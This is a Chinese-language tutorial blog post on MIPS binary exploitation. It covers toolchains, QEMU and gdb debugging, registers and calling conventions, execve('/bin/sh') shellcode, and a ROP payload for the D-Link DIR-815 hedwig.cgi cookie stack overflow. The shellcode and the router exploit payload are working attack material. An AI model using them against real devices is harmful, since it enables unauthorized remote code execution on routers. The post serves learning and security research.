MIPS架构PWN入门

0x1 基础知识

1. 编译一个mips程序:

#32位小端序:

Shell
mipsel-linux-gnu-gcc -march=mips32 -mabi=32 -o test tests.c -g

#32位大端序:

Shell
mips-linux-gnu-gcc -march=mips32 -mabi=32 -o test test.c -g

#64位小端序:

Shell
mips64el-linux-gnuabi64-gcc -march=mips64r2 -mabi=64 -o test test.c -g

#64位大端序:

Shell
mips64-linux-gnuabi64-gcc -march=mips64r2 -mabi=64 -o test test.c -g

上面的编译命令中,

如果不需要精确指定处理器微架构版本和控制指令集特性,可将-march去掉。

如果不需要指定ABI规范(如 o32、n32、n64),可将-mabi去掉。

2. 运行与调试

运行:

使用 QEMU 来运行:

  • qemu-mips:用于模拟 32 位、大端的 MIPS 程序。
  • qemu-mipsel:用于模拟 32 位、小端的 MIPS 程序。
  • qemu-mips64:用于模拟 64 位、大端的 MIPS 程序。
  • qemu-mips64el:用于模拟 64 位、小端的 MIPS 程序。
Shell
qemu-mips -L /usr/mips-linux-gnu/ ./mips_pwn

#动态链接的文件需要使用 -L /path/to/mips-rootfs 来指定动态链接库的位置。

调试:

QEMU的用户态模拟器需要远程调试。一般会开两个终端,

一个用于运行被调试的程序,可以在终端使用

Shell
qemu-mipsel -L /usr/mipsel-linux-gnu/ -g 1234 ./test

或者直接在exp里写

Python
io = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu/", "-g", "1234", "./test"])

然后在另一个终端里执行:

Shell
gdb-multiarch
set architecture mips
set endian little
target remote localhost:1234
(add-symbol-file ./test)

3. mips架构基础知识:

(0)在 MIPS32 Release 1 和 Release 2中,其内存管理单元(MMU)的转换后备缓冲器(TLB)条目设计得非常简陋。它的权限位只有两个关键标识:

  • V (Valid):有效位,决定内存能否被访问。

  • D (Dirty):脏位,实际上充当了“可写(Write)”权限。

没有独立的“可执行(Execute)”权限位。在经典 MIPS 的硬件逻辑里,只要一个内存页是 V(可读)的,它默认就是可执行的。硬件层面无法做到“只读/可写但不可执行”。

但是在MIPS32/64 Release 3中,引入了两个新的控制位:

  • XI (eXecute Inhibit):执行禁止位(真正的硬件 NX)。

  • RI (Read Inhibit):读取禁止位。

Linux 内核也在3.14 及以后增加了对 MIPS XI/RI 特性的支持。因此,支持 Release 3 RI/XI 的 MIPS 实现具备硬件级的读禁止/执行禁止能力,但 RI/XI 是可选特性,并非所有 MIPS32/64 实现都一定具备。

(1).MIPS32 和 MIPS64 均采用定长 32 位指令(4 字节)

(2)MIPS 的叶子函数(函数内部没有再调用其他函数)是不再调用其他函数的函数,所以通常不需要额外保存返回地址 $ra,栈帧也可以做得更简单。非叶子函数(函数内部调用其他函数的函数)会调用别的函数,因此一般要先保存 $ra(以及可能用到的寄存器和局部变量),以免函数返回地址被后续 jal 覆盖

(3)流水线效应:MIPS 采用流水线并行执行,跳转或分支指令的下一条指令会先进入分支延迟槽并被执行;因此在反汇编里常看到分支后面跟着 nop。这是因为分支目标地址刚写入程序计数器时,延迟槽中的指令已经开始执行。为避免出错,分支后通常放 nop,也可以放一条有用指令来填充延迟槽。

举个例子:

Asm
0x1000: addi $t1, $zero, 5 # $t1 = 5
0x1004: beq $t0, $zero, target # 如果 $t0==0 则跳转到 target
0x1008: addi $t2, $zero, 3 # 分支延迟槽
0x100C: addi $t3, $zero, 4
0x1010: target: addi $t4, $zero, 6

执行 0x1004 的 beq:判断条件成立,决定跳转到 0x1010。

但是延迟槽中的指令(0x1008)已经进入流水线,必须执行。

执行 addi $t2, $zero, 3,此时 $t2 = 3。

跳转到 0x1010,执行 addi $t4, $zero, 6,$t4 = 6。

也就是说会先执行延迟槽指令,再真正从物理上跳转到目标地址。

(4)缓存刷新机制:MIPS CPUs有两个独立的 cache : 指令cache 和 数据cache 。 指令和数据分别在两个不同的缓存中。当缓存满了,会触发 flush , 将数据写回到主内存。攻击者的攻击payload 通常会被应用当做数据来处理,存储在数据缓存中。当 payload 触发漏洞, 劫持程序执行流程的时候,会去执行内存中的 shellcode .如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。(通常执行 sleep(1) 刷新)

4. 一些常见汇编指令(O32):

  • li (Load Immediate):将一个立即数加载到通用寄存器中。li $gp, 0x498300,表示把 0x498300 直接赋给 $gp。

  • lui (Load Upper Immediate):将 16 位立即数加载到目标寄存器的高 16 位,低 16 位补 0。lui $v0, 0x46,结果为 $v0 = 0x460000。

  • ori:按位或指令,将寄存器内容与 16 位立即数进行按位或运算。ori $t6, $t6, 0x430a,表示将 $t6 与 0x430a 按位或后,再写回 $t6。它常用于配合 lui 组合出完整的 32 位常量。

  • la (Load Address):把某个地址或标签对应的地址加载到寄存器中。la $v0, puts,表示将 puts 函数地址载入 $v0。

  • lw (Load Word):从内存中读取一个 32 位字到寄存器。lw $v0, 0x14($fp),表示从 $fp + 0x14 处取出数据放入 $v0。

  • sw (Store Word):把寄存器中的 32 位数据写入内存。sw $ra, 0x24($sp),表示把 $ra 保存到栈上 $sp + 0x24 的位置。

  • move:寄存器之间传递数据。move $t5, $t1,表示把 $t1 的值复制给 $t5。

  • addi:寄存器与立即数相加。addi $t0, $t1, 5,表示 $t0 = $t1 + 5。

  • addu:无符号加法。addu $t0, $t1, $t2,表示将 $t1 和 $t2 相加后放入 $t0。

  • add:有符号加法,和 addu 类似,但用于有符号数场景。

  • addiu:立即数加法,不检测溢出,常用于栈空间分配和地址计算。addiu $sp, $sp, -0x30,表示栈指针减去 0x30,通常用于在栈上开辟空间。addiu $a1, $zero, 2,表示把常数 2 放入 $a1。

  • or:按位或运算,也常被用作“拷贝寄存器”的技巧。or $s8, $sp, $zero,效果等价于把 $sp 的值复制到 $s8。

  • jal (Jump and Link):跳转到目标地址执行,并把下一条指令地址保存到 $ra,用于函数调用。jal sum,表示调用 sum 函数。

  • jalr (Jump and Link Register):通过寄存器中的地址进行函数调用。jalr $t9,表示跳转到 $t9 保存的地址执行,并保存返回地址。

  • jr (Jump Register):跳转到寄存器保存的地址,常用于函数返回。jr $ra,表示返回到调用点。

  • bnez:当寄存器值不为 0 时跳转。bnez $v0, loc_4005E8,表示如果 $v0 != 0,就跳到 0x4005E8。

  • b:无条件跳转。b loc_400604,表示直接跳到 0x400604。

  • nop:空操作,不执行实际运算,常用于填充延迟槽。

5. 寄存器:

编号 名称 作用与描述
$0 zero 恒为 0。任何写入操作都会被忽略。常用于清零或提供常数 0。
$1 at 汇编器临时变量。由编译器/汇编器保留,处理大立即数时使用,攻击者通常不直接操作。
$2-$3 v0-v1 函数返回值。$v0 也常用于存放系统调用号。
$4-$7 a0-a3 函数参数(前 4 个)。
$8-$15 t0-t7 临时寄存器(调用者保存)。函数使用它们时无需保存,随用随丢。
$16-$23 s0-s7 静态寄存器(被调用者保存)。函数退出前必须恢复原值。
$24-$25 t8-t9 临时寄存器。在 PIC(位置无关代码)中,$t9 常存放待调用函数的地址。
$26-$27 k0-k1 内核保留。供操作系统异常处理使用,用户态代码不应触碰。
$28 gp 全局指针。指向静态数据的中间位置,方便利用 16 位偏移快速访问全局变量。
$29 sp 栈指针。指向当前栈顶。
$30 s8 / fp 帧指针(或第 9 个 $s 寄存器)。辅助定位栈内变量。
$31 ra 返回地址。执行 jal 时自动存入。

MIPS64 (N64 ABI) 中:使用 $a0-$a7 传递前 8 个参数。这意味着 $8-$11(原本的 $t0-$t3)在 64 位下被重新定义为 $a4-$a7。即:

编号 名称 作用与描述
$4-$11 a0-a7 函数参数(前 8 个)。这是 N64 最核心的变化。原本 O32 的 $8-$11 被重定义为 $a4-$a7,大大减少了通过栈传递参数的需求。
$12-$15 t0-t3 临时寄存器(调用者保存)。在 O32 中这几个硬件编号对应的是 $t4-$t7,但在 N64 中它们被统称为 $t0-$t3。

其实我在使用gdb动态调试的时候有一个问题:

这里0x400848地址处显示的是lw $gp, 0x10($fp)。但是看寄存器部分,FP的值为0x407ffd58,

显然对不上实际算出来的值。

这里实际上使用的是S8寄存器的值。

也就是说,S8 才是寄存器 30 的真实值,而FP是GDB根据栈回溯信息计算出的父函数栈帧基址。

6. 调用约定与参数传递

IMG_256

图为MIPS O32 调用约定下的栈帧布局,GDB显示的 FP 就是指向 previous sp 的位置。同时上面为非叶子函数的栈帧,如果是叶子函数的话通常不会保存return address到栈上。

O32 的前 4 个参数:通过寄存器 $a0, $a1, $a2, $a3 传递。第 5 个及以后的参数:通过栈传递。

N64 前 8 个参数:通过寄存器 $a0 到 $a7 传递(注意:在硬件上这对应寄存器 $4 到 $11)。第 9 个及以后的参数:通过栈传递。

同时,需要注意:

  1. O32 会在栈上强制预留 16 字节给 $a0$-$a3;而 N64 不预留,仅在寄存器不够或需要变参时使用栈。

  2. O32 的寄存器宽度为 32 位 (4 字节),N64 为 64 位 (8 字节)。O32 栈对齐是 8 字节对齐,N64 是 16 字节对齐。

在一些比较复杂的非叶子函数中,可能会看到这样的尾声:

Asm
.text:00400A2C 03 C0 E8 25 move $sp, $fp
.text:00400A30 8F BF 00 7C lw $ra, 0x58+var_s24($sp)
.text:00400A34 8F BE 00 78 lw $fp, 0x58+var_s20($sp)
.text:00400A38 8F B7 00 74 lw $s7, 0x58+var_s1C($sp)
.text:00400A3C 8F B6 00 70 lw $s6, 0x58+var_s18($sp)
.text:00400A40 8F B5 00 6C lw $s5, 0x58+var_s14($sp)
.text:00400A44 8F B4 00 68 lw $s4, 0x58+var_s10($sp)
.text:00400A48 8F B3 00 64 lw $s3, 0x58+var_sC($sp)
.text:00400A4C 8F B2 00 60 lw $s2, 0x58+var_s8($sp)
.text:00400A50 8F B1 00 5C lw $s1, 0x58+var_s4($sp)
.text:00400A54 8F B0 00 58 lw $s0, 0x58+var_s0($sp)
.text:00400A58 27 BD 00 80 addiu $sp, 0x80
.text:00400A5C 03 E0 00 08 jr $ra
.text:00400A60 00 00 00 00 nop

这意味着我们可以比较容易的控制一些寄存器的值。

gadget的寻找和amd下的寻找类似,可以使用ROPgadget和ropper。(有的时候这两个都会漏掉一些gadget,可以的话试试这两个一起用)

Mips下主要关注jr,move,jalr,lw这样的指令。

0x2 shellcode

1. 编写一个shellcode

O32,big endian:

Asm
.text
.globl main
main:
    li $t7, 0x2f62696e
    li $t6, 0x2f736800
    addiu $sp, $sp, -16
    sw $t7, 0($sp)
    sw $t6, 4($sp)
    move $a0, $sp
    slti $a1, $zero, -1 # $a1 = 0
    slti $a2, $zero, -1 # $a2 = 0
    li $v0, 4011
    syscall

需要注意的是li和move等实际上是伪指令,汇编器会把他们展开,例如上面的
li $t7, 0x2f62696e 这条指令会被展开为lui t7,0x2f62,ori t7,t7,0x696e。

N64, big endian:

Asm
.text
.globl main
main:
    dli $8, 0x2f62696e2f736800
    daddiu $sp, $sp, -16
    sd $8, 0($sp)
    move $a0, $sp
    dli $a1, 0
    dli $a2, 0
    # 注意:MIPS64 (n64 ABI) 的 execve 调用号通常是 5057
    # 而不是 MIPS32 (O32) 的 4011
    li $v0, 5057
    syscall

Mips的系统调用号(包括o32,n32和n64):

https://github.com/spotify/linux/blob/master/arch/mips/include/asm/unistd.h

0x3 练习

其实mips pwn的漏洞利用和x86_64架构下的差别不大,主要区别就在于ROP链的构造,但是很多比赛都是通过mov $sp,$fp来进行栈迁移从而ret2shellcode。

所以这里通过DIR-815的漏洞来演示一下mips的ROP链构造。具体的分析就不展开了,这里只做一些简略的分析,需要详细了解的可以看一看这篇文章:

https://bbs.kanxue.com/thread-272318.htm

漏洞描述:

A vulnerability was found in D-Link DIR-815 1.01. It has been declared as critical. This vulnerability affects the function sub_403794 of the file hedwig.cgi. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

在cgibin这个文件中,找到hedwigcgi_main函数,

sess_get_uid中,首先获取了COOKIE:

之后会对COOKIE中的字符串以等号为分隔符进行分割,如果等号前面值为uid,则会将等号后的内容拼接到param_1中,而param_1就是之前传入的指针。而这个uid,是一个用户可控的值

随后的sprintf中就可能产生溢出了,

但是实际上,后面还有一个sprintf,这才是真正需要溢出的地方:

而这里所使用的字符串和上面是一致的。

接下来看一下这个函数的尾声:

可以看出,在返回地址附近存着许多寄存器的值,我们可以通过溢出直接来控制这些寄存器。

但是只有这些寄存器还不够,我们需要控制a0和a1等控制参数的寄存器。这意味着我们需要以s0-s8这几个寄存器作为跳板,来间接控制其他寄存器的值。

可以找到这样两个gadget:

Gadget1:

Asm
0x0004e0ec : move $a0, $s1 ; move $a1, $s7 ; move $t9, $s0 ; jalr $t9 ; move $a2, $s4 ; lw $gp, 0x20($sp) ; move $a1, $s7 ; lw $t9, -0x7968($gp) ; addiu $a0, $zero, 0xa ; jalr $t9 ; move $a2, $s6

Gadget2:

Asm
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1 ; sb $s7, ($v0) ; lw $a1, ($s2) ; addiu $a0, $v0, 1 ; move $t9, $s5 ; jalr $t9 ; move $a2, $s4

基于此,可以写出如下payload:

Python
payload=b"uid="+b'c'*1007
payload+=p32(system-1)#$s0
payload+=p32(bin_sh)#$s1
payload+=b'b'*0xc
payload+=p32(libc_base+0x4e0ec)#$s5
payload+=b'c'*0xc
payload+=p32(libc_base+0x158c8)#$ra

解释一下整个执行的过程:

首先,利用函数尾声将:

s0置为 system - 1,

s1置为 bin_sh 字符串地址

s5置为 gadget1

ra置为gadget2

函数返回时,首先执行gadget2,将t9置为s5的值,将s0+1后跳转到s5执行gadget1。Gadget1先将a0置为s1,随后将t9置为s0的值,随后跳转执行t9,此时,即可正确执行system(“/bin/sh”)。

这是一个比较简单的构造,但是还是和x86_64下的有比较大的区别。

END


MIPS架构PWN入门
http://whi4ed0g.xyz/2025/12/13/MIPS-PWN-lessons/index/
作者
whi4ed0g
发布于
2025年12月13日
许可协议